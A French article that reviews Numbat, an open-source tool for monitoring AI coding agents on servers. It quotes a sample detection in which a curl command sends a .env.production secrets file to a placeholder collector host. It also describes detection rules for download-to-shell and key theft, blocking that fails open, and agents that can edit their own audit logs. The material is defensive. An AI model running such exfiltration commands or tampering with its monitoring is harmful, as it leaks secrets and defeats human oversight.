Numbat : surveiller ce que font vos agents IA

Ce qu’est Numbat

Numbat vous permet de voir ce qu’un agent IA a fait sur une machine que vous administrez. Il lit les callbacks de hooks et les fichiers de session que les agents de programmation produisent déjà, les normalise dans un format d’événement unique, puis les compare à des règles qui se déclenchent sur des comportements tels que la lecture d’une clé privée SSH ou l’envoi direct d’un téléchargement vers un shell. Perplexity l’a publié en open source sous licence Apache 2.0, avec une première release taguée le 29 juillet 2026.

Tout ce qui suit provient du repository du projet et de sa propre documentation, consultés le 2 août 2026. Lorsque Perplexity avance une affirmation, cet article l’indique. Il ne s’agit pas d’un tutoriel d’installation, car le repository date de quelques jours et ses commandes vont évoluer.

Le problème : personne ne consigne les actions de l’agent

Un agent de programmation exécuté sur votre VPS lance des commandes shell, lit des fichiers, écrit des fichiers et ouvre des connexions réseau, le tout avec l’utilisateur que vous lui avez attribué. Votre historique shell n’enregistre rien de tout cela, car l’agent ne saisit pas les commandes dans votre shell. sshd journalise votre connexion, mais rien de ce que le modèle décide ensuite de faire. /var/log/auth.log reste silencieux tant qu’aucun processus n’accède à sudo. L’agent conserve sa propre transcription, mais ce fichier se trouve dans le répertoire de session de l’agent, son format change selon les releases et le processus de l’agent peut lui-même y écrire.

Ainsi, lorsqu’une personne demande si l’agent a lu .env.production mardi dernier, la réponse honnête est que, sur la plupart des serveurs, vous ne pouvez pas le savoir. C’est cette lacune qui est à l’origine de ce projet.

Ce que Perplexity affirme que Numbat fait

Le README commence par présenter l’outil comme fournissant « une visibilité au niveau du endpoint sur l’activité des agents IA, avec une détection locale, un blocage avant action facultatif et une reconstitution forensique ». Le endpoint désigne ici la machine sur laquelle l’agent s’exécute, et non un équipement réseau qui observe l’activité depuis l’extérieur. Ces fonctions sont distinctes et n’ont pas la même portée.

La détection s’exécute sur l’appareil. Les règles sont écrites en CEL (Common Expression Language) et évaluées localement. Des règles de séquence en plusieurs étapes peuvent s’y ajouter. Vous pouvez également définir vos propres règles en YAML. Une règle peut se déclencher sans que rien ne quitte la machine.

Le blocage est facultatif et limité. Il fonctionne uniquement avec les hooks synchrones exécutés avant l’action, sur les agents qui en fournissent un. Il reste désactivé tant que vous ne l’activez pas.

La reconstitution intervient après les faits. numbat scan analyse les artefacts de session qu’un agent a déjà écrits sur le disque. Vous pouvez donc examiner une activité antérieure à l’installation de l’outil. Le projet encadre précisément cette affirmation : « La reconstitution des données au repos n’est ni une acquisition du disque ni une acquisition de la mémoire ; elle ne peut pas récupérer une activité que l’agent n’a pas persistée. »

La sortie est au format NDJSON versionné (JSON délimité par des retours à la ligne). Elle couvre les événements, les résultats de détection, les décisions d’application des règles, les indicateurs et les récapitulatifs d’analyse. Le schéma est en version 0.2.0 avec v0.1.2. Les enregistrements sont envoyés vers stdout ou vers un fichier local, et éventuellement via HTTP vers un collector que vous exécutez. L’outil est fourni sous la forme d’un binaire Go statique unique, compilé sans cgo, pour macOS, Linux et Windows sur amd64 et arm64. Sur un VPS Linux, il s’agit donc d’un seul fichier, sans runtime à installer au préalable.

Quels agents Numbat peut-il réellement surveiller ?

La matrice de couverture dans docs/agent-coverage.md fait autorité, et elle est inégale. Le projet l’indique clairement au lieu de le masquer. Claude Code, Codex, Gemini CLI, Cursor et GitHub Copilot CLI prennent en charge l’analyse des artefacts et la capture en direct avec un pre-action hook. OpenClaw bénéficie d’un plugin natif à partir de la version 2026.7.1. De nombreuses entrées sont marquées comme différées. Cela signifie qu’un chemin de hook en direct existe, mais pas l’analyseur d’artefacts. C’est souvent parce que l’agent stocke son historique dans SQLite avec un write-ahead log qu’il n’est pas sûr de lire pendant l’exécution de l’agent. OpenCode et Cline faisaient partie de ce groupe lors de la consultation de la matrice, le 2 août 2026.

Vérifiez la ligne correspondant à votre agent avant de planifier quoi que ce soit avec cet outil, car « pris en charge » signifie presque toujours quelque chose de différent selon la ligne.

À quoi ressemble une détection

Les règles ont des identifiants qui indiquent leur fonction. secrets.read_private_key couvre une clé SSH, des identifiants AWS, une configuration kube ou une connexion à un registre de packages. exec.download_pipe_shell se déclenche lorsque la sortie de curl ou wget est redirigée vers un interpréteur. privilege.elevated_shell détecte une demande de shell root interactif via sudo, doas, su ou pkexec. impact.cryptomining_launch correspond aux binaires et aux noms d’images de mineurs connus.

Les règles de séquence associent des événements au sein d’une même session. chain.secret_read_then_egress exige la lecture d’un fichier contenant un secret, suivie d’une commande qui transmet des données vers l’extérieur. Le README publie le résultat ci-dessous à partir de la relecture contrôlée de deux callbacks pre-action de Claude Code, et non d’un incident réel. Il est tronqué ici pour ne conserver que les champs importants :

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Notez "confidence": "medium" à l’intérieur de l’enregistrement. Notez également ce que le projet indique au sujet de cette catégorie complète de résultats : « Les résultats sont des correspondances de règles, pas une preuve de compromission. » Un script de déploiement qui lit une clé, puis téléverse un artefact de build, correspondra à cette même règle de séquence. La correspondance est correcte, mais l’alerte est injustifiée. C’est le fonctionnement habituel de tous les outils de détection que vous avez déjà exécutés.

Le blocage est désactivé par défaut et le système échoue en mode permissif

Toutes les règles fournies par Numbat sont en mode monitoring uniquement. Transformer une règle en règle de blocage demande une intervention explicite : copiez l’intégralité du YAML de la règle dans votre propre répertoire, conservez le même identifiant, ajoutez enforce: true, incrémentez la version, puis validez et installez cette policy.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Examinons maintenant le niveau de confiance que vous pouvez lui accorder. Le deny de Numbat est une réponse renvoyée à l’agent, et c’est l’agent qui refuse réellement l’appel de l’outil. Le guide d’enforcement indique clairement ce qui se passe lorsque Numbat rencontre lui-même un problème : « Les payloads malformés, les erreurs d’évaluation pertinentes, les panics et les échecs de sortie suppriment le deny de numbat. » L’entrée du hook est limitée à 4 MiB, et une entrée trop volumineuse suit le même chemin.

Le guide indique tout aussi clairement la limite d’un deny qui est effectivement transmis : « Le mode fail-open signifie que numbat omet sa réponse deny. Cela ne garantit pas que l’outil s’exécute : l’hôte peut toujours demander une confirmation, refuser, expirer ou appliquer un autre hook ou une autre policy. »

L’enforcement constitue donc ici une protection, pas une frontière de sécurité. Si le processus plante, Numbat ne bloque pas l’action, car un outil de monitoring qui fige votre agent chaque fois qu’il rencontre un problème est désinstallé en moins d’une semaine. Ce compromis est raisonnable. Ne construisez simplement pas un modèle de sécurité qui suppose que le deny arrive toujours.

Où Numbat s’insère dans vos pratiques existantes

Numbat s’exécute sur le endpoint, dans le propre process tree de l’agent, et écrit par défaut dans ~/.numbat/records.ndjson. Un agent exécuté avec votre compte peut lire ce fichier. Il peut aussi le modifier. La valeur de la trace d’audit dépend exactement du niveau d’isolation qui l’entoure. Tous les contrôles que vous avez déjà en place doivent donc se trouver en amont, et non en aval.

Donner à l’agent de codage une VM jetable limite ce qu’une exécution défaillante peut atteindre. Utiliser un compte avec le principe du moindre privilège sur le VPS empêche l’agent d’accéder aux fichiers qu’il n’a aucune raison d’ouvrir. Garder les identifiants hors du contexte de l’agent rend un secrets.read_private_key suffisamment rare pour que sa lecture soit utile lorsqu’il se déclenche. Et le sandbox que vous avez configuré pour Claude Code sur un VPS reste le mécanisme qui assure le confinement. Le confinement limite ce qu’une exécution défaillante peut modifier ou consulter, tandis que documenter les raisons de la structure du code réduit la fréquence des comportements surprenants de l’agent qui vous obligeraient à consulter le journal.

Ce que Numbat ajoute, c’est la trace. Envoyez donc cette trace vers un emplacement auquel l’agent ne peut pas accéder. numbat ship et le HTTP sink sont prévus à cet effet. Une copie du flux sur une seconde machine fait la différence entre un fichier journal et une preuve. Le modèle d’événement transporte également des champs MCP (model context protocol). Les appels d’outils qui sortent par un serveur MCP que vous hébergez sur un VPS apparaissent ainsi dans le même flux que les commandes shell locales. C’est important, car ce chemin échappe à toute surveillance limitée à bash. Le même angle mort concerne une instance SearXNG configurée comme backend de recherche de l’agent, où le risque prend la forme de texte non fiable provenant d’une page et injecté dans le contexte du modèle, plutôt que celle d’une commande détectable par une règle.

Commencez d’abord en lecture seule

Installez une version figée. Go 1.26.5 ou une version ultérieure est nécessaire pour go install. La page des releases fournit des binaires précompilés avec leurs sommes de contrôle SHA-256 si vous préférez ne pas compiler depuis les sources.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents détecte les agents installés sur le serveur. numbat scan analyse les artefacts de session déjà présents sur le disque et affiche les enregistrements. Le README précise que ces commandes « n’installent pas de hooks et ne modifient pas la configuration des agents » et que numbat « n’exécute jamais les agents ni les commandes trouvés dans les artefacts. Il n’effectue des requêtes sortantes que vers les sinks HTTP configurés ». L’analyse est effectuée en lecture seule, avec masquage des secrets. La sortie normale des enregistrements n’inclut jamais une transcription brute complète.

La capture en temps réel constitue l’étape suivante. Elle modifie bien la configuration des agents :

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all écrit les événements, les résultats, les indicateurs et les décisions d’application applicables dans ~/.numbat/records.ndjson. Deux précautions sont explicitement indiquées par le projet. Les hooks doivent parfois être approuvés dans l’agent avant de pouvoir s’exécuter. Cette approbation doit être réexaminée après toute modification de flags tels que --enforce. Par ailleurs, hook status « vérifie la configuration, et non l’exécution ni la livraison ». Un état indiquant que tout fonctionne ne prouve donc pas que les enregistrements arrivent à destination.

Pourquoi un dépôt aussi récent ne doit pas être une dépendance

Les versions publiques sont v0.1.1, publiée le 29 July 2026, et v0.1.2, publiée le 1 August 2026. Le dépôt comptait 597 stars au moment de la rédaction de cet article, le 2 August 2026. Une progression aussi rapide reflète l’audience de Perplexity, pas la robustesse du code. Une star signifie qu’une personne a enregistré la page pour la consulter plus tard.

Le numéro de version indique clairement le niveau de maturité du projet. Les notes de v0.1.2 portent principalement sur des corrections de problèmes de redaction des credentials, ainsi que sur la normalisation des case bundles et de la télémétrie. Les bugs de redaction sont le type de défaut attendu au début d’un outil chargé de lire en toute sécurité les transcripts d’autres programmes. Il y en aura d’autres, car les entrées proviennent d’une douzaine d’agents qui modifient chacun leur format selon leur propre calendrier.

Deux règles pratiques en découlent. Épinglez le tag, jamais @latest, dans tout ce que vous conservez. Considérez également cet outil comme un instrument que vous évaluez, et non comme un contrôle dont vous dépendez, au moins jusqu’à ce que le schéma des enregistrements cesse d’évoluer.

FAQ

Numbat bloque-t-il les commandes dangereuses des agents IA ?

Uniquement si vous l’activez, et seulement au mieux. Toutes les règles fournies par Numbat sont en mode monitor only. Pour bloquer une action, copiez le YAML de la règle dans votre propre répertoire, conservez son identifiant, ajoutez enforce: true, incrémentez la version, puis installez le hook avec --enforce. Même dans ce cas, le refus est renvoyé à l’agent, et c’est l’agent qui refuse l’appel. Le projet documente un comportement fail-open : les payloads mal formés, les erreurs d’évaluation, les panics et les erreurs de sortie suppriment tous le refus. Utilisez cet outil comme une protection supplémentaire, pas comme votre seule limite de sécurité.

Quels agents IA Numbat prend-il en charge ?

La couverture varie selon l’agent et figure dans docs/agent-coverage.md du dépôt. Claude Code, Codex, Gemini CLI, Cursor et GitHub Copilot CLI disposaient à la fois de l’analyse des artefacts et de la capture en direct lors de la consultation de cette page, le 2 August 2026. OpenClaw dispose d’un plugin natif depuis la version 2026.7.1. De nombreux autres agents sont associés à un chemin de hook live, mais ne disposent pas encore d’un parser d’artefacts. Leur historique de session se trouve généralement dans une base SQLite qu’il n’est pas sûr de lire pendant l’exécution de l’agent. Consultez la ligne correspondant à votre agent, car le terme « pris en charge » recouvre plusieurs niveaux différents dans ce tableau.

L’agent peut-il modifier les enregistrements de Numbat ?

Oui, s’il s’exécute avec le même utilisateur. Par défaut, les enregistrements sont stockés dans ~/.numbat/records.ndjson sur la même machine que l’agent. Tout processus disposant d’un accès en écriture à ce chemin peut donc les modifier ou les supprimer. Envoyez le flux vers un collecteur inaccessible à l’agent, avec numbat ship ou le sink HTTP, et conservez le fichier local comme copie pratique. C’est aussi pourquoi cet outil complète l’isolation au lieu de la remplacer. Un agent confiné dans une VM jetable et exécuté avec un utilisateur disposant du principe du moindre privilège a beaucoup moins de possibilités d’agir sur sa propre piste d’audit.

Numbat est-il prêt pour un serveur de production ?

Pas comme un contrôle dont vous dépendez. La première version publique était v0.1.1 le 29 July 2026, puis v0.1.2 est sortie le 1 August 2026. Les flags et le schéma des enregistrements évoluent donc encore. L’exécution de numbat agents et numbat scan sur un serveur est en lecture seule et présente peu de risques. Elle vous indiquera ce que vos agents ont laissé sur le disque. Installer des enforcement hooks sur un serveur critique est une autre décision. Elle nécessite un tag figé et un plan précisant le comportement attendu en cas de dysfonctionnement du hook.